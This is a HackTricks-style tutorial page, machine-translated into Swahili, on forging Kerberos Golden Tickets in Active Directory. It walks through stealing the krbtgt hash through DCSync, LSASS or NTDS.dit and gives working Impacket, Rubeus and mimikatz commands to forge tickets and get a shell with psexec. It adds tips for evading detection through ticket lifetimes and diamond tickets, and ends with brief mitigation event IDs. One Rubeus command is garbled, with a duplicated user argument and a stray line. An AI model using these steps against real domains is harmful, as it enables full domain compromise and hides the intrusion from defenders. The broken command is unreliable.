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67 lines
4.5 KiB
Markdown
67 lines
4.5 KiB
Markdown
# Golden Ticket
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{{#include ../../banners/hacktricks-training.md}}
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## Golden ticket
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A **Golden Ticket** attack inahusisha **kuunda Tiketi Halali ya Kutoa Tiketi (TGT) kwa kujifanya kama mtumiaji yeyote** kupitia matumizi ya **hash ya NTLM ya akaunti ya krbtgt ya Active Directory (AD)**. Mbinu hii ni faida hasa kwa sababu inaruhusu **kupata huduma au mashine yoyote** ndani ya eneo kama mtumiaji aliyejifanya. Ni muhimu kukumbuka kwamba **akili za akaunti ya krbtgt hazisasishwa kiotomatiki**.
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Ili **kupata hash ya NTLM** ya akaunti ya krbtgt, mbinu mbalimbali zinaweza kutumika. Inaweza kutolewa kutoka kwa **mchakato wa Local Security Authority Subsystem Service (LSASS)** au faili ya **NT Directory Services (NTDS.dit)** iliyoko kwenye Kituo chochote cha Kikoa (DC) ndani ya eneo. Zaidi ya hayo, **kutekeleza shambulio la DCsync** ni mkakati mwingine wa kupata hash hii ya NTLM, ambayo inaweza kufanywa kwa kutumia zana kama **moduli ya lsadump::dcsync** katika Mimikatz au **script ya secretsdump.py** na Impacket. Ni muhimu kusisitiza kwamba ili kufanya shughuli hizi, **privilege za admin wa kikoa au kiwango sawa cha ufikiaji kwa kawaida kinahitajika**.
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Ingawa hash ya NTLM inatumika kama njia halali kwa ajili ya kusudi hili, inashauriwa **kuunda tiketi kwa kutumia funguo za Kerberos za Advanced Encryption Standard (AES) (AES128 na AES256)** kwa sababu za usalama wa operesheni.
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```bash:From Linux
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python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
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export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
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python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
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```
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```bash:From Windows
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# Rubeus
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## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
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## The /printcmd option will print the complete command if later you want to generate a token offline
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.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
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/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
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#mimikatz
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kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
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.\Rubeus.exe ptt /ticket:ticket.kirbi
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klist #List tickets in memory
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# Example using aes key
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kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
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```
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**Mara** tu unapoingiza **tiketi ya dhahabu**, unaweza kufikia faili za pamoja **(C$)**, na kutekeleza huduma na WMI, hivyo unaweza kutumia **psexec** au **wmiexec** kupata shell (inaonekana huwezi kupata shell kupitia winrm).
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### Kupita njia za kawaida za kugundua
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Njia za kawaida zaidi za kugundua tiketi ya dhahabu ni kwa **kukagua trafiki ya Kerberos** kwenye waya. Kwa kawaida, Mimikatz **inasaini TGT kwa miaka 10**, ambayo itajitokeza kama ya kipekee katika maombi ya TGS yanayofanywa nayo.
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`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
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Tumia vigezo vya `/startoffset`, `/endin` na `/renewmax` kudhibiti mwanzo wa offset, muda na upya wa juu (yote kwa dakika).
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```
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Get-DomainPolicy | select -expand KerberosPolicy
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```
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Samahani, muda wa TGT hauandikwi katika 4769, hivyo huwezi kupata taarifa hii katika kumbukumbu za matukio ya Windows. Hata hivyo, kile unachoweza kuhusisha ni **kuona 4769 bila 4768 ya awali**. **Haiwezekani kuomba TGS bila TGT**, na ikiwa hakuna rekodi ya TGT iliyotolewa, tunaweza kudhani kwamba ilitengenezwa kwa njia isiyo halali.
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Ili **kuepuka ukaguzi huu**, angalia tiketi za diamond:
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{{#ref}}
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diamond-ticket.md
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{{#endref}}
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### Kupunguza
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- 4624: Kuingia kwa Akaunti
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- 4672: Kuingia kwa Admin
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- `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
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Hila nyingine ndogo ambazo walinzi wanaweza kufanya ni **kuonya kuhusu 4769 kwa watumiaji nyeti** kama akaunti ya msimamizi wa eneo la msingi.
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## Marejeo
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- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
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- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
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{{#include ../../banners/hacktricks-training.md}}
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